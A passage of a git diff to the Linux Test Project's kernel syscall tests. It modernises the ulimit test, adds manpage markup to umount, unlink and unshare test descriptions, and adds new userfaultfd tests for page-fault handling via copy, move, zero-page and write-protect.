***************************************************************/ - setup(); - - /*************************************************************** - * check looping state if -c option given - ***************************************************************/ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; + long current_fsize; - for (i = 0; i < TST_TOTAL; i++) { + TST_EXP_POSITIVE(ulimit(UL_GETFSIZE, -1)); - cmd = Scenarios[i].cmd; - limit = Scenarios[i].newlimit; + if (!TST_PASS) + return; - /* - * Call ulimit(2) - */ - TEST(ulimit(cmd, limit)); + current_fsize = TST_RET; - /* check return code */ - if (TEST_RETURN == -1) { - if (Scenarios[i].exp_fail) { - tst_resm(TPASS | TTERRNO, - "ulimit(%d, %ld) Failed expectedly", - cmd, limit); - } else { - tst_resm(TFAIL | TTERRNO, - "ulimit(%d, %ld) Failed", - cmd, limit); - } - } else { - if (Scenarios[i].exp_fail) { - tst_resm(TFAIL, - "ulimit(%d, %ld) returned %ld, succeeded unexpectedly", - cmd, limit, TEST_RETURN); - } else { - tst_resm(TPASS, - "ulimit(%d, %ld) returned %ld", - cmd, limit, TEST_RETURN); - } - - /* - * Save the UL_GETFSIZE return value in the newlimit field - * for UL_SETFSIZE test cases. - */ - if (cmd == UL_GETFSIZE) { - for (tmp = i + 1; tmp < TST_TOTAL; - tmp++) { - if (Scenarios[tmp].nlim_flag == - 1) { - Scenarios[tmp].newlimit - = TEST_RETURN; - } - if (Scenarios[tmp].nlim_flag == - 2) { - Scenarios[tmp].newlimit - = TEST_RETURN - 1; - } - } - } - } - } - } - - /*************************************************************** - * cleanup and exit - ***************************************************************/ - cleanup(); - - tst_exit(); -} - -/*************************************************************** - * setup() - performs all ONE TIME setup for this test. - ***************************************************************/ -void setup(void) -{ - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + TST_EXP_POSITIVE(ulimit(UL_SETFSIZE, current_fsize), + "ulimit(UL_SETFSIZE, %ld) (same value)", current_fsize); + TST_EXP_POSITIVE(ulimit(UL_SETFSIZE, current_fsize - 1), + "ulimit(UL_SETFSIZE, %ld) (value - 1)", current_fsize - 1); } -/*************************************************************** - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - ***************************************************************/ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test_all = run, +}; diff --git a/ltp/testcases/kernel/syscalls/umount/umount01.c b/ltp/testcases/kernel/syscalls/umount/umount01.c index a8f34e7a..bbce647f 100644 --- a/ltp/testcases/kernel/syscalls/umount/umount01.c +++ b/ltp/testcases/kernel/syscalls/umount/umount01.c @@ -6,7 +6,7 @@ */ /*\ - * Check the basic functionality of the umount(2) system call. + * Check the basic functionality of the :manpage:`umount(2)` system call. */ #include <sys/mount.h> diff --git a/ltp/testcases/kernel/syscalls/umount/umount02.c b/ltp/testcases/kernel/syscalls/umount/umount02.c index e7fe246e..eacf49d9 100644 --- a/ltp/testcases/kernel/syscalls/umount/umount02.c +++ b/ltp/testcases/kernel/syscalls/umount/umount02.c @@ -7,9 +7,9 @@ */ /*\ - * Check for basic errors returned by umount(2) system call. + * Check for basic errors returned by :manpage:`umount(2)` system call. * - * Verify that umount(2) returns -1 and sets errno to + * Verify that :manpage:`umount(2)` returns -1 and sets errno to * * 1. EBUSY if it cannot be umounted, because dir is still busy. * 2. EFAULT if specialfile or device file points to invalid address space. diff --git a/ltp/testcases/kernel/syscalls/umount/umount03.c b/ltp/testcases/kernel/syscalls/umount/umount03.c index c181e63d..5a0f73c2 100644 --- a/ltp/testcases/kernel/syscalls/umount/umount03.c +++ b/ltp/testcases/kernel/syscalls/umount/umount03.c @@ -6,7 +6,7 @@ */ /*\ - * Verify that umount(2) returns -1 and sets errno to EPERM if the user + * Verify that :manpage:`umount(2)` returns -1 and sets errno to EPERM if the user * is not the super-user. */ diff --git a/ltp/testcases/kernel/syscalls/umount2/umount2_01.c b/ltp/testcases/kernel/syscalls/umount2/umount2_01.c index 5696270d..274409ef 100644 --- a/ltp/testcases/kernel/syscalls/umount2/umount2_01.c +++ b/ltp/testcases/kernel/syscalls/umount2/umount2_01.c @@ -25,7 +25,7 @@ #include <errno.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/mount.h" static void setup(void); diff --git a/ltp/testcases/kernel/syscalls/umount2/umount2_02.c b/ltp/testcases/kernel/syscalls/umount2/umount2_02.c index ff0bdf91..990157d1 100644 --- a/ltp/testcases/kernel/syscalls/umount2/umount2_02.c +++ b/ltp/testcases/kernel/syscalls/umount2/umount2_02.c @@ -5,14 +5,14 @@ */ /*\ - * Test for feature MNT_EXPIRE of umount2(): + * Test for feature MNT_EXPIRE of :manpage:`umount2(2)`: * * - EINVAL when flag is specified with either MNT_FORCE or MNT_DETACH - * - EAGAIN when initial call to umount2(2) with MNT_EXPIRE - * - EAGAIN when umount2(2) with MNT_EXPIRE after access(2) - * - succeed when second call to umount2(2) with MNT_EXPIRE + * - EAGAIN when initial call to :manpage:`umount2(2)` with MNT_EXPIRE + * - EAGAIN when :manpage:`umount2(2)` with MNT_EXPIRE after :manpage:`access(2)` + * - succeed when second call to :manpage:`umount2(2)` with MNT_EXPIRE * - * Test for feature UMOUNT_NOFOLLOW of umount2(): + * Test for feature UMOUNT_NOFOLLOW of :manpage:`umount2(2)`: * * - EINVAL when target is a symbolic link * - succeed when target is a mount point diff --git a/ltp/testcases/kernel/syscalls/unlink/unlink05.c b/ltp/testcases/kernel/syscalls/unlink/unlink05.c index b2702696..8de2d8bc 100644 --- a/ltp/testcases/kernel/syscalls/unlink/unlink05.c +++ b/ltp/testcases/kernel/syscalls/unlink/unlink05.c @@ -5,10 +5,10 @@ */ /*\ - * Check the basic functionality of the unlink(2): + * Test the basic functionality of :manpage:`unlink(2)`: * - * - unlink(2) can delete regular file successfully. - * - unlink(2) can delete fifo file successfully. + * - :manpage:`unlink(2)` can delete regular file successfully + * - :manpage:`unlink(2)` can delete fifo file successfully */ #include <errno.h> diff --git a/ltp/testcases/kernel/syscalls/unlink/unlink07.c b/ltp/testcases/kernel/syscalls/unlink/unlink07.c index 240ab5cc..b4b70d27 100644 --- a/ltp/testcases/kernel/syscalls/unlink/unlink07.c +++ b/ltp/testcases/kernel/syscalls/unlink/unlink07.c @@ -5,7 +5,7 @@ */ /*\ - * Verify that unlink(2) fails with + * Verify that :manpage:`unlink(2)`: fails with: * * - ENOENT when file does not exist * - ENOENT when pathname is empty diff --git a/ltp/testcases/kernel/syscalls/unlink/unlink08.c b/ltp/testcases/kernel/syscalls/unlink/unlink08.c index 6d3ab261..c1fa8f31 100644 --- a/ltp/testcases/kernel/syscalls/unlink/unlink08.c +++ b/ltp/testcases/kernel/syscalls/unlink/unlink08.c @@ -5,7 +5,7 @@ */ /*\ - * Verify that unlink(2) fails with + * Verify that :manpage:`unlink(2)`: fails with: * * - EACCES when no write access to the directory containing pathname * - EACCES when one of the directories in pathname did not allow search diff --git a/ltp/testcases/kernel/syscalls/unlink/unlink09.c b/ltp/testcases/kernel/syscalls/unlink/unlink09.c index e2ee062c..10d4e8a4 100644 --- a/ltp/testcases/kernel/syscalls/unlink/unlink09.c +++ b/ltp/testcases/kernel/syscalls/unlink/unlink09.c @@ -6,7 +6,7 @@ */ /*\ - * Verify that unlink(2) fails with EPERM when target file is marked as + * Verify that :manpage:`unlink(2)`: fails with EPERM when target file is marked as * immutable or append-only. */ diff --git a/ltp/testcases/kernel/syscalls/unlink/unlink10.c b/ltp/testcases/kernel/syscalls/unlink/unlink10.c index 453dd5c7..2d6ec8ce 100644 --- a/ltp/testcases/kernel/syscalls/unlink/unlink10.c +++ b/ltp/testcases/kernel/syscalls/unlink/unlink10.c @@ -6,8 +6,8 @@ */ /*\ - * Verify that unlink(2) fails with EROFS when target file is on a read-only - * filesystem. + * Verify that :manpage:`unlink(2)`: fails with EROFS when target file is on + * a read-only filesystem. */ #include <sys/ioctl.h> diff --git a/ltp/testcases/kernel/syscalls/unlinkat/unlinkat01.c b/ltp/testcases/kernel/syscalls/unlinkat/unlinkat01.c index 9374466f..f4669089 100644 --- a/ltp/testcases/kernel/syscalls/unlinkat/unlinkat01.c +++ b/ltp/testcases/kernel/syscalls/unlinkat/unlinkat01.c @@ -7,7 +7,7 @@ */ /*\ - * Basic unlinkat() test. + * Basic :manpage:`unlinkat(2)` test. */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/unshare/unshare01.c b/ltp/testcases/kernel/syscalls/unshare/unshare01.c index c86ea9d2..f3d9fca7 100644 --- a/ltp/testcases/kernel/syscalls/unshare/unshare01.c +++ b/ltp/testcases/kernel/syscalls/unshare/unshare01.c @@ -6,12 +6,12 @@ */ /*\ - * Basic tests for the unshare() syscall. + * Basic tests for the :manpage:`unshare(2)` syscall. * * [Algorithm] * - * Calls unshare() for different CLONE_* flags in a child process and expects - * them to succeed. + * Calls :manpage:`unshare(2)` for different CLONE_* flags in a child process and + * expects them to succeed. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/unshare/unshare02.c b/ltp/testcases/kernel/syscalls/unshare/unshare02.c index 436b0c3b..b8d51c70 100644 --- a/ltp/testcases/kernel/syscalls/unshare/unshare02.c +++ b/ltp/testcases/kernel/syscalls/unshare/unshare02.c @@ -5,7 +5,7 @@ */ /*\ - * Basic tests for the unshare(2) errors. + * Basic tests for the :manpage:`unshare(2)` errors. * * - EINVAL on invalid flags * - EPERM when process is missing required privileges diff --git a/ltp/testcases/kernel/syscalls/unshare/unshare05.c b/ltp/testcases/kernel/syscalls/unshare/unshare05.c index 3185d4d2..a9bd864e 100644 --- a/ltp/testcases/kernel/syscalls/unshare/unshare05.c +++ b/ltp/testcases/kernel/syscalls/unshare/unshare05.c @@ -41,6 +41,10 @@ static struct tst_test test = { .forks_child = 1, .needs_root = 1, .test_all = run, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, .bufs = (struct tst_buffers []) { {&args, .size = sizeof(*args)}, {}, diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/.gitignore b/ltp/testcases/kernel/syscalls/userfaultfd/.gitignore index d819a2a7..bc32fdf3 100644 --- a/ltp/testcases/kernel/syscalls/userfaultfd/.gitignore +++ b/ltp/testcases/kernel/syscalls/userfaultfd/.gitignore @@ -1 +1,6 @@ /userfaultfd01 +/userfaultfd02 +/userfaultfd03 +/userfaultfd04 +/userfaultfd05 +/userfaultfd06 diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/Makefile b/ltp/testcases/kernel/syscalls/userfaultfd/Makefile index 31ddc4a4..3252e47d 100644 --- a/ltp/testcases/kernel/syscalls/userfaultfd/Makefile +++ b/ltp/testcases/kernel/syscalls/userfaultfd/Makefile @@ -12,3 +12,8 @@ include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk userfaultfd01: CFLAGS += -pthread +userfaultfd02: CFLAGS += -pthread +userfaultfd03: CFLAGS += -pthread +userfaultfd04: CFLAGS += -pthread +userfaultfd05: CFLAGS += -pthread +userfaultfd06: CFLAGS += -pthread diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c index c2c684d2..3af0e824 100644 --- a/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c +++ b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c @@ -2,45 +2,73 @@ /* * Copyright (c) 2019 SUSE LLC * Author: Christian Amann <camann@suse.com> - * - * Test userfaultfd - * - * Force a pagefault event and handle it using userfaultfd - * from a different thread */ -#include "config.h" -#include "tst_test.h" +/*\ + * Force a pagefault event and handle it using :manpage:`userfaultfd(2)` + * from a different thread. + */ #include <poll.h> - +#include "tst_test.h" #include "tst_safe_macros.h" #include "tst_safe_pthread.h" #include "lapi/userfaultfd.h" -static int page_size; +#define BEFORE_5_11 1 +#define AFTER_5_11 2 +#define DESC(x) .flags = x, .desc = #x + +static struct tcase { + int flags; + const char *desc; + int kver; +} tcases[] = { + { DESC(O_CLOEXEC | O_NONBLOCK) }, + { DESC(O_CLOEXEC | O_NONBLOCK | UFFD_USER_MODE_ONLY), .kver = AFTER_5_11, }, +}; + +static long page_size; static char *page; static void *copy_page; -static int uffd; +static int uffd = -1; +static int kver; -static int sys_userfaultfd(int flags) +static void setup(void) { - return tst_syscall(__NR_userfaultfd, flags); + if (tst_kvercmp(5, 11, 0) >= 0) + kver = AFTER_5_11; + else + kver = BEFORE_5_11; } static void set_pages(void) { - page_size = sysconf(_SC_PAGE_SIZE); + page_size = SAFE_SYSCONF(_SC_PAGE_SIZE); page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); copy_page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); } -static void handle_thread(void) +static void reset_pages(void) +{ + if (page) { + SAFE_MUNMAP(page, page_size); + page = NULL; + } + if (copy_page) { + SAFE_MUNMAP(copy_page, page_size); + copy_page = NULL; + } + if (uffd != -1) + SAFE_CLOSE(uffd); +} + +static void *handle_thread(void *arg LTP_ATTRIBUTE_UNUSED) { static struct uffd_msg msg; - struct uffdio_copy uffdio_copy; + struct uffdio_copy uffdio_copy = {}; struct pollfd pollfd; int nready; @@ -49,52 +77,41 @@ static void handle_thread(void) pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) - tst_brk(TBROK | TERRNO, - "Error on poll"); + tst_brk(TBROK | TERRNO, "Error on poll"); SAFE_READ(1, uffd, &msg, sizeof(msg)); if (msg.event != UFFD_EVENT_PAGEFAULT) - tst_brk(TBROK | TERRNO, - "Received unexpected UFFD_EVENT"); + tst_brk(TFAIL, "Received unexpected UFFD_EVENT %d", msg.event); memset(copy_page, 'X', page_size); uffdio_copy.src = (unsigned long) copy_page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address - & ~(page_size - 1); + & ~((unsigned long)page_size - 1); uffdio_copy.len = page_size; - uffdio_copy.mode = 0; - uffdio_copy.copy = 0; SAFE_IOCTL(uffd, UFFDIO_COPY, &uffdio_copy); - close(uffd); + SAFE_CLOSE(uffd); + return NULL; } -static void run(void) +static void run(unsigned int i) { pthread_t thr; - struct uffdio_api uffdio_api; + struct uffdio_api uffdio_api = {}; struct uffdio_register uffdio_register; + struct tcase *tc = &tcases[i]; - set_pages(); + if (tc->kver == AFTER_5_11 && kver == BEFORE_5_11) + tst_brk(TCONF, "%s requires kernel >= 5.11", tc->desc); - TEST(sys_userfaultfd(O_CLOEXEC | O_NONBLOCK)); + set_pages(); - if (TST_RET == -1) { - if (TST_ERR == EPERM) { - tst_res(TCONF, "Hint: check /proc/sys/vm/unprivileged_userfaultfd"); - tst_brk(TCONF | TTERRNO, - "userfaultfd() requires CAP_SYS_PTRACE on this system"); - } else - tst_brk(TBROK | TTERRNO, - "Could not create userfault file descriptor"); - } + uffd = SAFE_USERFAULTFD(tc->flags, false); - uffd = TST_RET; uffdio_api.api = UFFD_API; - uffdio_api.features = 0; SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); uffdio_register.range.start = (unsigned long) page; @@ -103,8 +120,7 @@ static void run(void) SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); - SAFE_PTHREAD_CREATE(&thr, NULL, - (void * (*)(void *)) handle_thread, NULL); + SAFE_PTHREAD_CREATE(&thr, NULL, (void *) handle_thread, NULL); char c = page[0xf]; @@ -114,9 +130,12 @@ static void run(void) tst_res(TFAIL, "Pagefault not handled!"); SAFE_PTHREAD_JOIN(thr, NULL); + reset_pages(); } static struct tst_test test = { - .test_all = run, - .min_kver = "4.3", + .setup = setup, + .test = run, + .tcnt = ARRAY_SIZE(tcases), + .cleanup = reset_pages, }; diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd02.c b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd02.c new file mode 100644 index 00000000..70dd844b --- /dev/null +++ b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd02.c @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 SUSE LLC + * Author: Christian Amann <camann@suse.com> + * Author: Ricardo Branco <rbranco@suse.com> + */ + +/*\ + * Force a pagefault event and handle it using :manpage:`userfaultfd(2)` + * from a different thread using UFFDIO_MOVE. + */ + +#include "config.h" +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_pthread.h" +#include "lapi/userfaultfd.h" + +static long page_size; +static char *page; +static void *move_page; +static int uffd = -1; + +static void set_pages(void) +{ + page_size = SAFE_SYSCONF(_SC_PAGE_SIZE); + page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + move_page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +} + +static void reset_pages(void) +{ + if (page) { + SAFE_MUNMAP(page, page_size); + page = NULL; + } + if (move_page) { + SAFE_MUNMAP(move_page, page_size); + move_page = NULL; + } + if (uffd != -1) + SAFE_CLOSE(uffd); +} + +static void *handle_thread(void *arg LTP_ATTRIBUTE_UNUSED) +{ + static struct uffd_msg msg; + struct uffdio_move uffdio_move = {}; + + SAFE_READ(1, uffd, &msg, sizeof(msg)); + + if (msg.event != UFFD_EVENT_PAGEFAULT) + tst_brk(TFAIL, "Received unexpected UFFD_EVENT %d", msg.event); + + memset(move_page, 'X', page_size); + + uffdio_move.src = (unsigned long) move_page; + + uffdio_move.dst = (unsigned long) msg.arg.pagefault.address + & ~((unsigned long)page_size - 1); + uffdio_move.len = page_size; + SAFE_IOCTL(uffd, UFFDIO_MOVE, &uffdio_move); + + SAFE_CLOSE(uffd); + return NULL; +} + +static void run(void) +{ + pthread_t thr; + struct uffdio_api uffdio_api = {}; + struct uffdio_register uffdio_register; + + set_pages(); + + uffd = SAFE_USERFAULTFD(O_CLOEXEC, false); + + uffdio_api.api = UFFD_API; + SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); + + uffdio_register.range.start = (unsigned long) page; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; + + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); + + SAFE_PTHREAD_CREATE(&thr, NULL, (void *) handle_thread, NULL); + + char c = page[0xf]; + + if (c == 'X') + tst_res(TPASS, "Pagefault handled via UFFDIO_MOVE"); + else + tst_res(TFAIL, "Pagefault not handled via UFFDIO_MOVE"); + + SAFE_PTHREAD_JOIN(thr, NULL); + reset_pages(); +} + +static struct tst_test test = { + .test_all = run, + .min_kver = "6.8", + .cleanup = reset_pages, +}; diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd03.c b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd03.c new file mode 100644 index 00000000..8a720e41 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd03.c @@ -0,0 +1,145 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 SUSE LLC + * Author: Christian Amann <camann@suse.com> + * Author: Ricardo Branco <rbranco@suse.com> + */ + +/*\ + * Force a pagefault event and handle it using :manpage:`userfaultfd(2)` + * from a different thread using /dev/userfaultfd instead of syscall, + * using USERFAULTFD_IOC_NEW ioctl to create the uffd & UFFDIO_COPY. + */ + +#include "config.h" +#include <poll.h> +#include <unistd.h> +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_pthread.h" +#include "lapi/userfaultfd.h" + +static long page_size; +static char *page; +static void *copy_page; +static int uffd = -1; + +static void setup(void) +{ + if (access("/dev/userfaultfd", F_OK) != 0) { + int res = (tst_kvercmp(6, 1, 0) < 0) ? TCONF : TBROK; + + tst_brk(res, "/dev/userfaultfd not found"); + } +} + +static int open_userfaultfd(int flags) +{ + int fd, fd2; + + fd = SAFE_OPEN("/dev/userfaultfd", O_RDWR); + + fd2 = SAFE_IOCTL(fd, USERFAULTFD_IOC_NEW, flags); + + SAFE_CLOSE(fd); + + return fd2; +} + +static void set_pages(void) +{ + page_size = SAFE_SYSCONF(_SC_PAGE_SIZE); + page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + copy_page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +} + +static void reset_pages(void) +{ + if (page) { + SAFE_MUNMAP(page, page_size); + page = NULL; + } + if (copy_page) { + SAFE_MUNMAP(copy_page, page_size); + copy_page = NULL; + } + if (uffd != -1) + SAFE_CLOSE(uffd); +} + +static void *handle_thread(void *arg LTP_ATTRIBUTE_UNUSED) +{ + static struct uffd_msg msg; + struct uffdio_copy uffdio_copy = {}; + + struct pollfd pollfd; + int nready; + + pollfd.fd = uffd; + pollfd.events = POLLIN; + nready = poll(&pollfd, 1, -1); + if (nready == -1) + tst_brk(TBROK | TERRNO, "Error on poll"); + + SAFE_READ(1, uffd, &msg, sizeof(msg)); + + if (msg.event != UFFD_EVENT_PAGEFAULT) + tst_brk(TFAIL, "Received unexpected UFFD_EVENT %d", msg.event); + + memset(copy_page, 'X', page_size); + + uffdio_copy.src = (unsigned long) copy_page; + + uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address + & ~((unsigned long)page_size - 1); + uffdio_copy.len = page_size; + SAFE_IOCTL(uffd, UFFDIO_COPY, &uffdio_copy); + + SAFE_CLOSE(uffd); + return NULL; +} + +static void run(void) +{ + pthread_t thr; + struct uffdio_api uffdio_api = {}; + struct uffdio_register uffdio_register; + + set_pages(); + + uffd = open_userfaultfd(O_CLOEXEC | O_NONBLOCK); + + uffdio_api.api = UFFD_API; + SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); + + uffdio_register.range.start = (unsigned long) page; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; + + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); + + SAFE_PTHREAD_CREATE(&thr, NULL, (void *) handle_thread, NULL); + + char c = page[0xf]; + + if (c == 'X') + tst_res(TPASS, "Pagefault handled via /dev/userfaultfd"); + else + tst_res(TFAIL, "Pagefault not handled via /dev/userfaultfd"); + + SAFE_PTHREAD_JOIN(thr, NULL); + reset_pages(); +} + +static struct tst_test test = { + .needs_root = 1, + .setup = setup, + .test_all = run, + .needs_kconfigs = (const char *[]) { + "CONFIG_USERFAULTFD=y", + NULL + }, + .cleanup = reset_pages, +}; diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd04.c b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd04.c new file mode 100644 index 00000000..dce082ee --- /dev/null +++ b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd04.c @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 SUSE LLC + * Author: Christian Amann <camann@suse.com> + * Author: Ricardo Branco <rbranco@suse.com> + */ + +/*\ + * Force a pagefault event and handle it using :manpage:`userfaultfd(2)` + * from a different thread using UFFDIO_ZEROPAGE. + */ + +#include "config.h" +#include <poll.h> +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_pthread.h" +#include "lapi/userfaultfd.h" + +static long page_size; +static char *page; +static int uffd = -1; + +static void set_pages(void) +{ + page_size = SAFE_SYSCONF(_SC_PAGE_SIZE); + page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +} + +static void reset_pages(void) +{ + if (page) { + SAFE_MUNMAP(page, page_size); + page = NULL; + } + if (uffd != -1) + SAFE_CLOSE(uffd); +} + +static void *handle_thread(void *arg LTP_ATTRIBUTE_UNUSED) +{ + static struct uffd_msg msg; + struct uffdio_zeropage uffdio_zeropage = {}; + + struct pollfd pollfd; + int nready; + + pollfd.fd = uffd; + pollfd.events = POLLIN; + nready = poll(&pollfd, 1, -1); + if (nready == -1) + tst_brk(TBROK | TERRNO, "Error on poll"); + + SAFE_READ(1, uffd, &msg, sizeof(msg)); + + if (msg.event != UFFD_EVENT_PAGEFAULT) + tst_brk(TFAIL, "Received unexpected UFFD_EVENT %d", msg.event); + + uffdio_zeropage.range.start = msg.arg.pagefault.address + & ~((unsigned long)page_size - 1); + uffdio_zeropage.range.len = page_size; + + SAFE_IOCTL(uffd, UFFDIO_ZEROPAGE, &uffdio_zeropage); + + SAFE_CLOSE(uffd); + return NULL; +} + +static void run(void) +{ + pthread_t thr; + struct uffdio_api uffdio_api = {}; + struct uffdio_register uffdio_register; + + set_pages(); + + uffd = SAFE_USERFAULTFD(O_CLOEXEC | O_NONBLOCK, false); + + uffdio_api.api = UFFD_API; + SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); + + uffdio_register.range.start = (unsigned long) page; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; + + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); + + SAFE_PTHREAD_CREATE(&thr, NULL, (void *) handle_thread, NULL); + + for (int i = 0; i < page_size; i++) { + if (page[i] != 0) { + tst_res(TFAIL, "page[%d]=0x%x not zero", i, page[i]); + return; + } + } + + tst_res(TPASS, "Pagefault handled with UFFDIO_ZEROPAGE"); + + SAFE_PTHREAD_JOIN(thr, NULL); + reset_pages(); +} + +static struct tst_test test = { + .test_all = run, + .cleanup = reset_pages, + .needs_kconfigs = (const char *[]) { + "CONFIG_USERFAULTFD=y", + NULL + } +}; diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd05.c b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd05.c new file mode 100644 index 00000000..e36f9c32 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd05.c @@ -0,0 +1,144 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 SUSE LLC + * Author: Christian Amann <camann@suse.com> + * Author: Ricardo Branco <rbranco@suse.com> + */ + +/*\ + * Force a pagefault event and handle it using :manpage:`userfaultfd(2)` + * from a different thread testing UFFDIO_WRITEPROTECT_MODE_WP. + */ + +#include "config.h" +#include <poll.h> +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_pthread.h" +#include "lapi/userfaultfd.h" + +static long page_size; +static char *page; +static int uffd = -1; +static volatile int wp_fault_seen; + +static void setup(void) +{ + CHECK_UFFD_FEATURE(UFFD_FEATURE_PAGEFAULT_FLAG_WP); +} + +static void set_pages(void) +{ + page_size = SAFE_SYSCONF(_SC_PAGE_SIZE); + page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + memset(page, 0, page_size); +} + +static void reset_pages(void) +{ + if (page) { + SAFE_MUNMAP(page, page_size); + page = NULL; + } + if (uffd != -1) + SAFE_CLOSE(uffd); +} + +static void *handle_thread(void *arg LTP_ATTRIBUTE_UNUSED) +{ + static struct uffd_msg msg; + struct uffdio_writeprotect uffdio_writeprotect = {}; + + struct pollfd pollfd; + int nready; + + pollfd.fd = uffd; + pollfd.events = POLLIN; + nready = poll(&pollfd, 1, -1); + if (nready == -1) + tst_brk(TBROK | TERRNO, "Error on poll"); + + SAFE_READ(1, uffd, &msg, sizeof(msg)); + + if (msg.event != UFFD_EVENT_PAGEFAULT) + tst_brk(TFAIL, "Received unexpected UFFD_EVENT %d", msg.event); + + if (!(msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP) || + !(msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE)) { + tst_brk(TFAIL, + "Expected WP+WRITE fault but flags=%lx", + (unsigned long)msg.arg.pagefault.flags); + } + + /* While the WP fault is pending, the write must NOT be visible. */ + if (page[0xf] != 0) + tst_brk(TFAIL, + "Write became visible while page was write-protected!"); + + wp_fault_seen = 1; + + /* Resolve the fault by clearing WP so the writer can resume. */ + uffdio_writeprotect.range.start = msg.arg.pagefault.address & ~((unsigned long)page_size - 1); + uffdio_writeprotect.range.len = page_size; + + SAFE_IOCTL(uffd, UFFDIO_WRITEPROTECT, &uffdio_writeprotect); + + SAFE_CLOSE(uffd); + return NULL; +} + +static void run(void) +{ + pthread_t thr; + struct uffdio_api uffdio_api = {}; + struct uffdio_register uffdio_register; + struct uffdio_writeprotect uffdio_writeprotect; + + set_pages(); + wp_fault_seen = 0; + + uffd = SAFE_USERFAULTFD(O_CLOEXEC | O_NONBLOCK, false); + + uffdio_api.api = UFFD_API; + uffdio_api.features = UFFD_FEATURE_PAGEFAULT_FLAG_WP; + + SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); + + uffdio_register.range.start = (unsigned long) page; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; + + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); + + uffdio_writeprotect.range.start = (unsigned long)page; + uffdio_writeprotect.range.len = page_size; + uffdio_writeprotect.mode = UFFDIO_WRITEPROTECT_MODE_WP; + + SAFE_IOCTL(uffd, UFFDIO_WRITEPROTECT, &uffdio_writeprotect); + + SAFE_PTHREAD_CREATE(&thr, NULL, (void *) handle_thread, NULL); + + /* Try to write */ + page[0xf] = 'W'; + + SAFE_PTHREAD_JOIN(thr, NULL); + reset_pages(); + + if (wp_fault_seen) + tst_res(TPASS, "WRITEPROTECT pagefault handled!"); + else + tst_res(TFAIL, "No WRITEPROTECT pagefault 